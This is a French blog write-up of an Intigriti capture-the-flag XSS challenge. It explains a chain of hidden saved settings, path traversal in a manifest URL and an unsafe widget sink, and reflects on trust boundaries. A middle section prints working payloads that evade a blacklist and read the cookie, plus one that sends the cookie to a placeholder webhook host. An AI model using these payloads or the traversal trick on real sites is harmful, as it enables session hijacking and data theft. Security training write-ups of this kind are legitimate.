Dans cet article, j’explique comment j’ai résolu le Challenge INTIGRITI 0426. La clé n’était pas seulement ce que l’application enregistrait dans ses paramètres, mais la façon dont elle les réutilisait ensuite dans un manifest et un rendu de confiance.

Publié le 28/04/2026, 11:37:00
C’était la toute première fois que je réussissais un challenge mensuel Intigriti.
Au début, ça ressemblait à un challenge XSS assez classique.
L’objectif était d’obtenir une exécution de JavaScript sur la page du challenge dans une version moderne de Chrome, avec un seul clic de la victime. L’application s’appelait Northstar Notes, une plateforme de notes assez légère avec plusieurs modes de lecture, une page de paramètres et une fonctionnalité “Request review” qui envoyait une URL à un bot admin.
En pratique, ça m’a demandé bien plus de travail que ça.
Au début, j’ai suivi les pistes les plus évidentes dans le code côté client. J’ai regardé le rendu des notes, la sanitization, les widgets, ainsi que le flow de report. Certaines de ces pistes semblaient prometteuses, mais la plupart menaient soit à des impasses, soit à des effets uniquement locaux.
Le vrai bug n’était pas seulement dans ce que l’application me laissait sauvegarder.
Il était dans la manière dont l’application récupérait ensuite ces valeurs sauvegardées pour les réinjecter dans un chemin de rendu considéré comme fiable.
C’est ça qui a vraiment débloqué le challenge.
L’application supportait du contenu riche dans les notes, plusieurs layouts de lecture comme Summary, Print et Compact, ainsi qu’un flow de review capable d’envoyer une URL de note à un bot admin. Rien que ça suggérait déjà le but final probable : obtenir une exécution JavaScript sur une page de note, puis faire visiter cette page par le bot.
Quand j’ai commencé à relire le script principal côté client, une partie a vite attiré mon attention. La page de note ne se contentait pas d’afficher le contenu. Elle chargeait aussi un manifest spécifique au layout, puis appliquait un profil issu de ce manifest. Ce profil pouvait influencer des choses comme le mode de rendu, les types de widgets disponibles, et la manière dont certains blocs allaient être traités.
À ce moment-là, j’ai compris que la partie intéressante du challenge n’était probablement pas une simple injection HTML.
C’était plus probablement un problème de confiance dans le flow de rendu.
Avant d’arriver à la vraie solution, j’ai passé pas mal de temps sur les mauvais chemins.
J’ai testé des idées autour de la prototype pollution depuis le hash, des tricks liés à DOMPurify, les widgets intégrés, ainsi que des tentatives directes pour écraser les manifests natifs de Summary, Print et Compact. Certaines de ces idées n’étaient pas mauvaises, et elles m’ont aidé à mieux comprendre la cible, mais elles n’étaient pas suffisantes pour résoudre le challenge.
Les layouts intégrés semblaient fixes et sûrs.
La sanitization était plus stricte que ce que j’avais imaginé au départ.
Et quelques sinks intéressants existaient bien, mais ils étaient derrière des conditions que je n’arrivais pas encore à satisfaire.
J’ai donc dû prendre du recul et arrêter de regarder uniquement ce que je pouvais injecter.
L’indice était le suivant :
“The settings page saves more than it shows.”
C’était déjà un gros signal.
La page de paramètres visible ne montrait que quelques options simples, mais dès que j’ai commencé à intercepter la requête, il est devenu clair que le backend acceptait et stockait plus de choses que ce que l’interface laissait voir. En particulier, il acceptait des données cachées liées aux reader presets. L’interface du challenge exposait d’ailleurs une section Preferences et suggérait déjà qu’il se passait plus de choses derrière le formulaire que ce qu’on voyait à l’écran.
Après avoir beaucoup échoué en essayant de modifier directement le comportement de l’application uniquement en sauvegardant des valeurs dans l’endpoint de settings, j’ai dû regarder ailleurs.
Quand j’ai commencé à prendre du recul et que j’ai compris qu’un simple “upload malveillant” ne suffirait pas, je me suis demandé où l’application allait ensuite chercher sa configuration de confiance, et ce qu’elle faisait exactement avec ces valeurs une fois récupérées.
C’était la bonne question.
La page de note était initialisée avec un objet côté client contenant une valeur panel et un noteId.
Ensuite, le client utilisait ces valeurs pour construire l’URL du manifest qu’il voulait récupérer.
Le détail important, c’est que le noteId était encodé, alors que le segment panel était utilisé tel quel dans le chemin.
Donc le vrai primitive de traversal n’était pas le note ID.
C’était le panel.
Le problème principal n’était donc pas dans la manière dont je stockais des valeurs cachées. Il était dans la manière dont l’application allait ensuite récupérer des données depuis un chemin qui faisait trop confiance à ces valeurs.
Une fois que j’ai confirmé qu’il était possible de sauvegarder des readerPresets cachés, j’ai d’abord essayé de les utiliser pour écraser directement les layouts normaux.
Ça n’a pas marché.
Les manifests intégrés pour Summary, Print et Compact restaient fixes.
Mais ensuite j’ai trouvé quelque chose de beaucoup plus intéressant : un endpoint de manifest caché pour les reader presets.
C’était le pont manquant entre les paramètres cachés sauvegardés et le flow de rendu côté client qui leur faisait confiance.
À partir de là, le chemin est devenu beaucoup plus clair :
C’était ça, la vraie solution.

La première version fonctionnelle que j’ai obtenue ne se déclenchait que dans mon propre navigateur.
C’était parce que je m’appuyais encore sur mes propres paramètres sauvegardés pour influencer le panel utilisé par la route de note nue. En d’autres termes, j’avais une self-XSS fonctionnelle, mais pas encore un exploit compatible avec le bot.
Ce n’était pas suffisant.
Le bot admin ne partageait pas exactement mon état de configuration, donc je devais trouver un moyen de sortir le chemin malveillant de mes préférences locales pour le faire vivre directement dans l’URL.
C’était le dernier basculement important.

La solution a été d’utiliser un chemin de panel encodé directement dans l’URL de la note.
Au lieu de compter sur le fait que le navigateur de la victime hérite naturellement de mes paramètres cachés, je pouvais forcer le navigateur de la victime à récupérer le manifest malveillant du preset à travers la logique de résolution du panel.
Ça rendait l’exploit portable.
Une fois cela en place, le navigateur allait :
À ce moment-là, le dernier obstacle qui restait était la blacklist post-sanitization de l’application.
Une fois que j’avais le bon chemin de preset malveillant, j’avais besoin d’un corps de note capable de survivre à la fois à la sanitization et au filtrage supplémentaire de l’application.
Pour les tests locaux, j’ai d’abord utilisé un payload très visible :
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom"
data-cfg="self['doc'+'ument'].body.insertAdjacentHTML('afterbegin','<h1 id=pp-owned>OWNED</h1>')"></div>

Ce payload faisait deux choses importantes.
D’abord, il respectait la structure attendue par le système d’enhancement de l’application : un élément avec data-enhance="custom" et une configuration dans data-cfg.
Ensuite, il évitait des sous-chaînes blacklistées trop évidentes, comme document écrit d’un seul bloc. Le challenge avait un filtre supplémentaire après sanitization sur les attributs data-*, donc écrire le payload de cette manière changeait tout.
Une fois que j’ai eu une preuve visible avec “OWNED”, je suis passé à un payload de lecture de cookie :
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom"
data-cfg="self['doc'+'ument'].getElementById('report-result').textContent=self['doc'+'ument']['coo'+'kie']"></div>
Et enfin, pour l’exfiltration, j’ai utilisé :
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom"
data-cfg="(new Image).src='//<webhook or ngrok url>/?c='+encodeURIComponent(self['doc'+'ument']['coo'+'kie'])"></div>
C’était suffisant parce que le cookie était lisible depuis JavaScript.
Pour que l’application fasse confiance à mon preset malveillant, j’ai sauvegardé des paramètres cachés qui n’étaient pas exposés dans l’interface normale.
Une version fonctionnelle ressemblait à ceci :
{
"theme": "dark",
"fontSize": 14,
"language": "en",
"editorMode": "plain",
"defaultLayout": "../../api/account/preferences/reader-presets/evil",
"readerPresets": {
"evil": {
"profile": {
"renderMode": "full",
"widgetTypes": ["counter", "progress", "custom"],
"widgetSink": "script",
"theme": "light"
}
}
}
}
Ça suffisait déjà pour prouver que la page de paramètres sauvegardait vraiment plus que ce qu’elle montrait.
La dernière étape consistait à arrêter de dépendre de l’état de mon propre navigateur et à faire en sorte que le navigateur de la victime récupère directement le manifest malveillant du preset.
Donc, au lieu d’ouvrir seulement une URL de note “nue”, j’ai utilisé une URL de note dont le segment panel était encodé dans l’URL pour qu’il se résolve vers le chemin du manifest du reader preset.
Conceptuellement, la valeur du panel équivalait à :
../../api/account/preferences/reader-presets/evil
mais elle était transportée dans l’URL de la note sous forme encodée.
Ça faisait que le navigateur de la victime récupérait le manifest du preset comme s’il s’agissait du manifest du panel de cette note.
C’est à ce moment-là que l’exploit a cessé d’être une simple self-XSS pour devenir un vrai exploit contre le bot admin.
Au final, la chaîne ressemblait à ceci :
Sauvegarder un reader preset caché malveillant via le flow de paramètres.
Faire en sorte que le manifest de ce preset renvoie un profil qui active :
Créer une note contenant le payload d’enhancement custom.
Utiliser un chemin de panel encodé dans l’URL de la note pour que le navigateur de la victime récupère le manifest malveillant du preset.
Contourner la blacklist post-sanitization de l’application dans le payload du widget custom.
Exécuter du JavaScript dans l’origine de la victime.
Lire le cookie du bot et récupérer le flag.
Ce que j’ai aimé dans ce challenge, c’est que ce n’était pas juste un problème du style “trouve un sink et fais pop un alert”.
La partie intéressante était la chaîne de confiance.
Les paramètres cachés étaient acceptés par le backend. Ensuite, un flow de rendu côté client récupérait des données influencées par ces paramètres. Et ces données récupérées étaient suffisamment dignes de confiance pour modifier le mode de rendu et activer un flow de widgets plus dangereux.
Donc ce challenge tournait moins autour d’un sink XSS pris au hasard, et plus autour de la compréhension du moment exact où une configuration sauvegardée devient un contexte d’exécution de confiance.
C’est ce qui l’a rendu beaucoup plus intéressant qu’une simple injection HTML.
Quelques leçons m’ont marqué.
D’abord, les paramètres cachés comptent. Si le backend les accepte, ils font partie de la surface d’attaque, même si l’interface ne les expose pas clairement.
Ensuite, il est souvent plus utile de se demander où une valeur sera ensuite considérée comme fiable plutôt que de se concentrer uniquement sur la façon dont elle est stockée.
Troisièmement, une self-XSS n’est pas la même chose qu’un vrai chemin d’exploitation. Dans les challenges pilotés par un bot, rendre l’exploit partageable est souvent la partie la plus difficile.
Et enfin, le premier sink qui a l’air dangereux n’est pas forcément la vraie solution. Dans ce cas, le vrai bug n’était pas le sink évident en lui-même, mais la manière dont l’application était amenée à faire confiance et à récupérer une mauvaise configuration.
Ce challenge m’a fait passer par beaucoup d’impasses avant que le chemin attendu devienne vraiment clair.
Avec le recul, les indices étaient très fair.
La page de paramètres sauvegardait réellement plus que ce qu’elle montrait.
Et le vrai bug était bien dans la manière dont l’application récupérait ensuite ces données pour les réinjecter dans un chemin de confiance.
C’était ça, la solution.
Le vrai problème n’était pas seulement le fait que des paramètres cachés pouvaient être sauvegardés, mais surtout que l’application récupérait ensuite une configuration depuis un chemin de manifest influencé par ces valeurs, puis lui faisait confiance dans le flow de rendu.
Pas vraiment. C’était une chaîne impliquant des paramètres cachés, un manifest de reader preset, un changement du mode de rendu, puis un sink final capable d’exécuter du script.
Parce qu’il dépendait de mon propre état de préférences sauvegardé. La version finale n’est devenue compatible avec le bot qu’une fois le chemin malveillant déplacé directement dans l’URL.
Il récompensait le fait de suivre les frontières de confiance de l’application au lieu de poursuivre uniquement le premier point d’injection évident.
Excellent challenge. Et surtout, un bon rappel que le vrai bug n’est parfois pas dans ce que l’application stocke, mais dans ce qu’elle décide ensuite de considérer comme fiable.
Cookies